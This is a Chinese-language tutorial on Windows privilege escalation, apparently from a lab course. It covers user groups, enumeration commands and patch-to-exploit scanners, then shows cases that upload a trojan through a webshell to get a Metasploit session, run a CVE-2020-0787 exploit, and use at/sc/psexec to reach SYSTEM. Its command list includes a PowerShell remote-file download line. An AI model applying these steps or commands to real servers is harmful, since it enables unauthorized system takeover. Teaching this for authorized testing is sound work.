思維導圖
明確權限提升基礎知識:權限划分
明確權限提升環境問題:web及本地
- web提權:已有網站權限(可以操作網站內容,但無法操作服務器),想要獲得服務器權限,進而操作服務器。
- 本地提權:已有服務器普通用戶權限,想要獲得root權限。
明確權限提升方法針對:針對方法適應問題
明確權限提升針對版本:個人及服務器版本;針對方法;
知識點必備:
- 用戶及用戶組權限划分;Windows提權命令
windows權限認識(用戶及用戶組)
Windows系統內置了許多本地用戶組,這些用戶組本身都已經被賦予一些權限(permissions),它們具有管理本地計算機或訪問本地資源的權限。只要用戶賬戶加入到這些本地組內,這些用戶賬戶也將具備該組所擁有的權限。
0x01 普通權限
默認情況下,系統為用戶分了7個組,並給每個組賦予不同的操作權限,管理員組(Administrators)、高權限用戶組(Power Users)、普通用戶組(Users)、備份操作組(Backup Operators)、文件復制組(Replicator)、來賓用戶組(Guests),身份驗證用戶組(Ahthenticated users)。其中備份操作組和文件復制組為維護系統而設置,平時不會被使用。
管理員組擁有大部分的計算機操作權限(並不是全部),能夠隨意修改刪除所有文件和修改系統設置只有程序信任組(特殊權限)。再往下就是高權限用戶組,這一部分用戶也能做大部分事情,但是不能修改系統設置,不能運行一些涉及系統管理的程序。普通用戶組則被系統拴在了自己的地盤里,不能處理其他用戶的文件和運行涉及管理的程序等。來賓用戶組的文件操作權限和普通用戶組一樣,但是無法執行更多的程序。身份驗證用戶組(Ahthenticated users) 經過ms驗證程序登錄的用戶均屬於此組。
0x02特殊權限
除了上面提到的7個默認權限分組,系統還存在一些特殊權限成員,這些成員是為了特殊用途而設置,分別是:SYSTEM(系統)、Trustedinstaller(信任程序模塊)、Everyone(所有人)、CREATOR OWNER(創建者) 等,這些特殊成員不被任何內置用戶組吸納,屬於完全獨立出來的賬戶。
真正擁有“完全訪問權”的只有一個成員:SYSTEM。這個成員是系統產生的,真正擁有整台計算機管理權限的賬戶,一般的操作是無法獲取與它等價的權限的。
“所有人”權限與普通用戶組權限差不多,它的存在是為了讓用戶能訪問被標記為“公有”的文件,這也是一些程序正常運行需要的訪問權限——任何人都能正常訪問被賦予“Everyone”權限的文件,包括來賓組成員。
被標記為“創建者”權限的文件只有建立文件的那個用戶才能訪問,做到了一定程度的隱私保護。
但是,所有的文件訪問權限均可以被管理員組用戶和SYSTEM成員忽略,除非用戶使用了NTFS加密。
無論是普通權限還是特殊權限,它們都可以“疊加”使用,“疊加”就是指多個權限共同使用,例如一個賬戶原本屬於Users組,而后我們把他加入Administrators組再加入Trustedinstaller等權限提升,那么現在這個賬戶便同時擁有兩個或多個權限身份,而不是用管理員權限去覆蓋原來身份。權限疊加並不是沒有意義的,在一些需要特定身份訪問的場合,用戶只有為自己設置了指定的身份才能訪問,這個時候“疊加”的使用就能減輕一部分勞動量了。
參考:https://blog.csdn.net/qq_17204441/article/details/89063095
Windows提權命令:
命令 //描述 systeminfo //打印系統信息 whoami //獲得當前用戶名 whoami /priv //當前賬戶權限 ipconfig //網絡配置信息 ipconfig /displaydns //顯示DNS緩存 route print //打印出路由表 arp -a //打印arp表 hostname //主機名 net user //列出用戶 net user UserName //關於用戶的信息 net user \SMBPATH Pa$$w0rd /u:UserName //連接SMB net localgroup //列出所有組 net localgroup GROUP //關於指定組的信息 net view \127.0.0.1 //會話打開到當前計算機 net session //開發給其他機器 netsh firewall show config //顯示防火牆配置 DRIVERQUERY //列出安裝的驅動 tasklist /svc //列出服務任務 net start //列出啟動的服務 dir /s foo //在目錄中搜索包含指定字符的項 dir /s foo == bar //同上 sc query //列出所有服務 sc qc ServiceName //找到指定服務的路徑 shutdown /r /t 0 //立即重啟 type file.txt //打印出內容 icacls "C:\Example" //列出權限 wmic qfe get Caption,Description,HotFixID,InstalledOn //列出已安裝的補丁 (New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") //利用ps遠程下載文件到本地 accesschk.exe -qwsu "Group" //修改對象(嘗試Everyone,Authenticated Users和/或Users)
案例1:基於Web環境下的權限提升-阿里雲靶機(Windows2012)
知識點:
- 如何判斷使用哪種溢出漏洞?漏洞哪里找?
- 信息收集-補丁篩選-利用MSF或特定EXP-執行-西瓜到手
- Vulmap,Wes,WindowsVulnScan對比,exp在哪里獲取?
- MSF結合雲服務器搭建組合拳?模擬上述操作實戰演練?
1、信息收集
可以采用一些cmd命令,收集系統信息。比如
- whoami:獲得當前用戶名
- whoami /priv:當前賬戶權限
- systeminfo:查看系統打了哪些補丁
- net user:列出用戶
- net user UserName:查看關於用戶的信息
- net localgroup:列出所有組
- 等等
2、補丁篩選
Vulmap,Wes,WindowsVulnScan三種方法對比:
方法1:Vulmap
下載地址:https://github.com/vulmon/Vulmap
Vulmap是開源的在線本地漏洞掃描器項目。Vulmap需要在PS窗口運行,因此它只適用本地環境,不適用web環境。適用於 Windows 和 Linux 操作系統漏洞。但是它對Windows系統不太友好,更適配Linux系統。比如,下面在阿里雲服務器測試,未檢測出漏洞。
方法2:WES-NG
下載地址:https://github.com/bitsadmin/wesng
WES-NG是一種基於 Windows systeminfo 實用程序輸出的工具,它提供操作系統易受攻擊的漏洞列表,包括對這些漏洞的任何利用。適用於 Windows 操作系統。
wes.py 既適用本地環境,也適用web環境。因為它只需要我們在目標服務器執行systeminfo > 1.txt命令,拿到系統信息(主要是補丁信息)即可,然后我們可以把信息保存在 1.txt文件中,在本機運行wes.py進行測試即可。
下面命令會把漏洞詳情保存在vuln.csv文件。
目標服務器執行命令:systeminfo > 1.txt 本機執行命令:python wes.py 1.txt -o vuln.csv
打開 vuln.csv查看詳情
方法3:WindowsVulnScan
地址:https://github.com/chroblert/WindowsVulnScan
WindowsVulnScan根據軟件的名稱和版本號來確定是否有 CVE 和公開的 EXP。適用於 Windows 操作系統。
WindowsVulnScan 前期收集補丁信息時也需要在PS窗口運行,因此只適用於本地環境。但是我們也可以對其進行一些小的修改,讓它可以用於web環境。所以也可以說它是一個通用方法。
比如第一步運行KBCollect.ps1收集補丁信息,會自動創建KB.json文件。
打開KB.json文件,我們看到其實這就是一些補丁信息,我們可以直接用systeminfo命令代替,然后將收集到的信息按照KB.json格式重新排列一下即可。
然后運行如下命令得到exp信息。
python cve-check.py -C -f KB.json
3、利用MSF或特定EXP提權
利用上述3種方法之一找出可利用的漏洞之后,我們可以利用msf或者特定exp進行測試。
首選msf工具,但是msf工具是隔一段時間更新一版,因此msf中的漏洞可能更新不及時,如果遇到了msf沒有收錄的漏洞,我們可以網上搜索特定的exp測試,比如GitHub上有人整理了很多exp,可以搜索一下。
- https://github.com/SecWiki/windows-kernel-exploits
- https://github.com/unamer/CVE-2018-8120
MSF結合雲服務器搭建組合拳?模擬上述操作實戰演練?
- 若要在實戰中使用msf,最好買台服務器,不需要配置太好,2核4G即可,linux操作系統(Ubuntu更兼容),只安裝msf,使用時用xshell連接即可。
- 雲服務器上安裝MSF環境:https://www.cnblogs.com/M0rta1s/p/11920903.html
msf提權演示案例:
<1>生成一個木馬 exe文件
<2>通過webshell上傳這個test.exe文件到服務器(test.exe可能會被服務器上的waf識別,所以實戰中需要免殺)
<3>啟動msf
<4>msf監聽5566端口
<5>通過webshell執行這個test.exe文件
<6>監聽到會話,如上上圖所示(注意:阿里雲服務器安全組默認沒有開5566端口,所以我們需要手動打開)
<7>查看,拿到服務器的web權限
<8>接下來,我們需要進行web提權,搜索一個2016年的exp
<9>使用這個exp
<10>show options
<11>修改設置
<12>重新show options,顯示修改成功
<13>繼續修改設置,利用,成功獲取到system權限,提權成功。
案例2:基於本地環境下的權限提升-系統溢出漏洞
使用特定EXP演示案例:
<1>whoami查看用戶身份為普通用戶
<2>利用CVE-2020-0787本地提權漏洞,在目標服務器執行BitsArbitraryFileMoveExploit.exe文件
<3>彈出cmd窗口,運行whoami,發現已經取得了system權限
案例3:基於本地環境下的權限提升-AT&SC&PS命令
AT&SC&PS命令適用環境?-->AT&SC&PS提權在內網使用比較多
1、AT提權
相關命令:
at 21:26 /interactive cmd.exe //給系統添加一項作業,在21:26打開cmd命令 at //查看作業詳情 at /del //刪除作業
只針對win7之前的老系統,下面我們在windows2003系統上測試
<1>使用at命令給系統添加一項作業,在特定時間打開cmd命令
<2>等到特定時間時,系統會彈出cmd窗口,運行whoami,發現已經取得了system權限,提權成功。
這是windows2003系統設計上的一個邏輯錯誤,就是計划任務在運行時會以system身份調用執行。所以彈出來的cmd窗口界面就會享有system權限。
2、SC提權
相關命令:
sc Create syscmd binPath = "cmd /k start" type= own type= interact sc start syscmd
網上說,可以針對win7/2k8,但是實操時並沒成功。下面我們在windows2003系統上測試
<1>首先whoami查看用戶身份為管理員
<2>使用sc命令創建一個服務,啟動這個服務
<3>彈出cmd窗口,運行whoami,發現已經取得了system權限,提權成功。
3、PS提權
pstools是微軟官方工具,是為windows提供的第三方工具庫
下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
相關命令:
psexec.exe -accepteula -s -i -d cmd.exe
windows2008系統測試
<1>執行PS命令會彈出一個新的cmd窗口
<2>運行whoami,發現已經取得了system權限,提權成功。
案例給到的思路總結如下:
1.提權方法有部分適用在不同環境,當然也有通用方法
2.提權方法也有操作系統版本區別,特性決定方法利用面
3.提權方法有部分需要特定環境,如數據庫,第三方提權等